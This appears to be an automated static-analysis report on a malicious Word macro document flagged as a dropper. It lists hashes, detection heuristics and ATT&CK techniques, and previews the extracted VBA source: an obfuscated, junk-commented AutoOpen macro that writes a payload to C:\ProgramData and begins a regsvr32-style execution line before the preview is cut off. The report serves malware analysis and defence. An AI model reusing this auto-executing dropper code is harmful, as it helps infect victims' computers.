Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 00983c154186244d…

MALICIOUS

Office (OOXML) / .DOC

128.0 KB Created: 2020-09-23 09:35:00 UTC Authoring application: Microsoft Office Word 16.0000
MD5: a5b15aaa8fcce4b682d3f09b442db44e SHA-1: b436c207d465c443347f06aa40433085f9eca11b SHA-256: 00983c154186244d3a9afd0a3fc17d7487307fe7722a655d5ce43fe8112a5896
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros with an AutoOpen function that utilizes Shell() to execute a command. The script attempts to create and write to a PDF file named 'ad0fd.pdf' in the 'C:\ProgramData' directory, indicating a dropper functionality. The ClamAV detection 'Doc.Dropper.Mrdy-9765651-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Mrdy-9765651-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Mrdy-9765651-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
7bf598e309477698b6b5e8ef2c0404049e098f8a27426e3968e00c5d10f815b4
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 13213 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fb1ce"
Sub d392e(eced3, Optional ByVal e71d9 As String = "c:\programdata\ad0fd.pdf")
' Backsliding judgemental
' Absorbed busiest
' Sadistically cleanness loathsomely breadths
' Retransmitted massacres
' Constructable paved nervousness aboard blazed
' Petitions stopgap classification tropopause
' Onyxes
' Bearish vocalising
' Sternly accredited fundraiser evaporation frankly conveniences
' Chef utilities
' Imponderables unfitness
' Alveoli edibles
' Fruitier
' Insets uncouthness pant normalising
' Admonishes skiing beltings characterises
' Participated gum gut
' Complicates
' Ingested professionalisation prong elicits
' Attaching
' Lowlands reprobates doped athleticism
' Frightens drafter
' Felonious wearable
' Signifying disrespect
' Gunwale convicts sallies
' Ancestor riddling amazed devastating octaves kilotons
' Damnify register
' Egotistical orphaned seminars
' Curator judgmental handstands magnetohydrodynamics
' Inflate skit zany dazed
' Drowns anticyclone roaster sews halters
' Steeplechasing
' Rummage napkins astigmatism wisecracks azalea
' Breakfasts ungrateful
' Extolling induce
' Pranksters countersigns shots toiling bide
' Polemicist rejection
' Boatload hardy counselled
' Walnut like superstition pledge optimal philosophy
' Getter carotene
' Spotter chronically
' Erosional visionary
a458c = e71d9
Open a458c For Output As #1
' Ivy humanised innuendo agreeable rockery incinerated masculine
' Republic temporaries gossiping gorge
' Cushions keynotes
' Walkout pedagogic halve skirmishes looser transom
' Protectorates cuticles briefcase rugs
' Maladministration motorcar moorlands
' Notions welcomes geneticist
Print #1, eced3
' Diagram fancying junction
' Rockbottom instigator pittance lithograph mattering
' Shanks cryptographic authoritatively sadomasochistic ugliness
' Atoned
' Roomiest yrs kilovolt
Close #1
End Sub
' Hypermarkets
' Incinerators slumber custard louvres misjudged aunt
' Hindsight roc insular significantly
' Stellated paginate digitalis
' Moody
' Lento unamended rewind
Sub AutoOpen()
' Hyenas turnout
' Highs fuzzier
' Germicides union cadaverous gudgeon gamely
' Monolingual
' Adolescent distilleries
' Rebuttal stellated
' Intruder tackle
' Nutritional escapology copulate
' Frantic grow
' Runner receptionist
' Positives
' Doctoring responders multilayer determinately
' Licenses corroborated chicane coon
' Ndebele mount roughage hereto surmising regulating
' Blast enchantress revolves raked dockets
' Macaroons nostril renewals printers
' Poet schist bleaches stinker
' Fooled singularisation reward samizdat
' Unenlightened admirably lookingglasses flusher placated
' Machinations classmates retention
' Pupils homogeneously mineshaft
' Written inhumanities agrimony himself
' Woodcocks pelvic falters lettish
' Rejoinders fines nonviolence disenfranchised
' Probabilist triplet
' Demure snifter blissfully mozart
' Playboy granaries greenhouses featuring
Dim a1f95 As New fd73a
' Toitoi
' Filer suffice cackled cavern therapeutically
' Looks interpretive presupposed
' Mushes cleanest predefined
' Perambulated scratched
eced3 = a1f95.f9783()
' Mandarin resolvable lulu roman recompensed alcoves
' Acquainted
' Sagaciously londoner
' Ape graphologist chambermaids pillory manias
' Stokes smallholdings we
d392e c7655(eced3)
' Styles
' Bedevilled
' Leashing kickstarts maladministration
' Dilemmas praise hash beseech mural
' Betraying haemorrhoid valedictory hustle
' Telethon reject peninsulas
' Readjusted croaks
' Grieve baghdad tiny
' Unlearned emigrate undoubted unfavourable
' Neurobiology minister passivated sprayers
' Kitted rank ileum underlines batteries randomising
be740 b5f24(0) + "svr32 c:\
... (truncated)
vbaProject_00.bin
c338602a5aa397602ed4d482de6448701817877e93919b8611cf1fad37334dec
vba-project OOXML VBA project: word/vbaProject.bin 46592 bytes
Detection
ClamAV: Doc.Dropper.Mrdy-9765651-0
Obfuscation or payload: unlikely